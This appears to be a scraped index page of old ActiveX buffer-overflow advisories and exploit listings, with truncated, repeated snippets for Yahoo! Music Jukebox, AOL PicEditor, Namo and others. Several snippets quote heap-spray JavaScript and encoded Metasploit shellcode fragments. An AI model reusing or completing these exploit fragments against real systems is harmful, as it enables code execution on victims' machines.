GlobalLink 2.6.1.2 - 'HanGamePlugincn18.dll' ActiveX Control Multiple Buffer Overflow Vulnerabilities

source: https://www.securityfocus.com/bid/27626/info GlobalLink is prone to multiple buffer-overflow vulnerabilities because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. An attacker can exploit these issues to execute arbitrary...

Buffer overflow

Multiple buffer overflows in the AIM PicEditor 9.5.1.8 ActiveX control in YGPPicEdit.dll in AOL You've Got Pictures YGP Picture Editor allow remote attackers to cause a denial of service browser crash via a long string in the 1 DisplayName, 2 FinalSavePath, 3 ForceSaveTo, 4 HiddenControls, 5...

CVE-2007-6699

Multiple buffer overflows in the AIM PicEditor 9.5.1.8 ActiveX control in YGPPicEdit.dll in AOL You've Got Pictures YGP Picture Editor allow remote attackers to cause a denial of service browser crash via a long string in the 1 DisplayName, 2 FinalSavePath, 3 ForceSaveTo, 4 HiddenControls, 5...

CVE-2007-6699

Multiple buffer overflows in the AIM PicEditor 9.5.1.8 ActiveX control in YGPPicEdit.dll in AOL You've Got Pictures YGP Picture Editor allow remote attackers to cause a denial of service browser crash via a long string in the 1 DisplayName, 2 FinalSavePath, 3 ForceSaveTo, 4 HiddenControls, 5...

CVE-2007-6699

CVE-2007-6699 concerns multiple buffer overflows in the AIM PicEditor 9.5.1.8 ActiveX control (YGPPicEdit.dll) used by AOL You've Got Pictures (YGP) Picture Editor. The vulnerability arises from handling long string values in specific properties (DisplayName, FinalSavePath, ForceSaveTo, HiddenCon...

Aurigma ImageUploader ActiveX control stack buffer overflows

Overview The Aurigma ImageUploader ActiveX control contains multiple stack buffer overflow vulnerabilities, which may allow a remote attacker to execute arbitrary code on a vulnerable system. Description Aurigma ImageUploader is an ActiveX control that provides the ability to upload pictures usin...

yahoomusic-overflow2.txt

Yahoo! JukeBox MediaGrid ActiveX Control mediagrid.dll AddBitmap Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

yahoomusic-overflow.txt

// HeapSpray - execute calculator calc.exe shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" + "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" + "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +...

Yahoo! Music Jukebox 2.2 AddImage() ActiveX Remote BOF PoC Exploit

No description provided by source. !-- Yahoo! Music Jukebox 2.2 AddImage ActiveX 0day Remote Buffer Overlow PoC Exploit Bug discovered by Krystian Kloskowski h07 [email protected] Product homepage: http://music.yahoo.com/jukebox/ Tested on:.. - Yahoo! Music Jukebox 2.2.2.056 - MS IE 6 Details:...

Yahoo! Music Jukebox 2.2 AddButton() ActiveX Remote BOF Exploit (3)

Exploit for unknown platform in category remote exploits =================================================================== Yahoo! Music Jukebox 2.2 AddButton ActiveX Remote BOF Exploit 3 =================================================================== Yahoo! JukeBox datagrid.dll AddButton...

Microsoft Rich Textbox Control Arbitrary File Overwrite (CVE-2008-0237)

Microsoft Rich Textbox is an ActiveX control that comes with Visual Basic. It allows programs to create formatted text in Rich Text Format. Microsoft Rich Textbox control ActiveX control Richtx32.ocx is used for displaying, entering, and manipulating text with formatting. It can also display font...

Yahoo! Music Jukebox 2.2 AddImage() ActiveX Remote BOF Exploit (2)

Exploit for unknown platform in category remote exploits ================================================================== Yahoo! Music Jukebox 2.2 AddImage ActiveX Remote BOF Exploit 2 ================================================================== // HeapSpray - execute calculator calc.exe...

Sejoong Namo ActiveSquare 6 NamoInstaller.dll ActiveX BoF Exploit

No description provided by source. !-- Sejoong Namo ActiveSquare6 NamoInstaller.dll BoF Exploit Written by http://www.Plan-S.cn Tested on Windows XP SP2fully patched Korean, IE6, NamoInstaller.dll version 3,0,0,1 -- html object classid="clsid:AF465549-1D22-4140-A273-386FA8877E0A" id="target"/OBJE...

Sejoong Namo ActiveSquare 6 NamoInstaller.dll ActiveX BoF Exploit

Exploit for unknown platform in category remote exploits ================================================================= Sejoong Namo ActiveSquare 6 NamoInstaller.dll ActiveX BoF Exploit ================================================================= // HeapSpray - execute calculator shellcod...

Yahoo! Music Jukebox 2.2 AddImage() ActiveX Remote BOF Exploit

Exploit for unknown platform in category remote exploits ============================================================== Yahoo! Music Jukebox 2.2 AddImage ActiveX Remote BOF Exploit ============================================================== function unescape$s $res=strtoupperbin2hex$s; $g =...

Yahoo! Music JukeBox 2.2 - 'AddButton()' ActiveX Remote Buffer Overflow

Yahoo! JukeBox datagrid.dll AddButton Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

Yahoo! JukeBox MediaGrid - 'AddBitmap()' ActiveX Buffer Overflow

Yahoo! JukeBox MediaGrid ActiveX Control mediagrid.dll AddBitmap Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

Yahoo! Music Jukebox 2.2 - 'AddImage()' ActiveX Remote Buffer Overflow (1)

function unescape$s $res=strtoupperbin2hex$s; $g = roundstrlen$res/4; if $g != strlen$res/4$res.="00"; $out = ""; for $i=0; $i function gsc var hsta = 0x0c0c0c0c; var plc = unescape"%u4343%u4343"+ "%u0feb%u335b%u66c9%u80b9%u8001%uef33"+ "%ue243%uebfa%ue805%uffec%uffff%u8b7f"+...

Yahoo! Music Jukebox 2.2 - 'AddImage()' ActiveX Remote Buffer Overflow (2)

// HeapSpray - execute calculator calc.exe shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" + "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" + "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +...

Yahoo! Music Jukebox 2.2 - AddImage() ActiveX Remote Buffer Overflow (2)

Yahoo! Music Jukebox 2.2 - AddImage ActiveX Remote Buffer Overflow 2 // HeapSpray - execute calculator calc.exe shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" + "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +...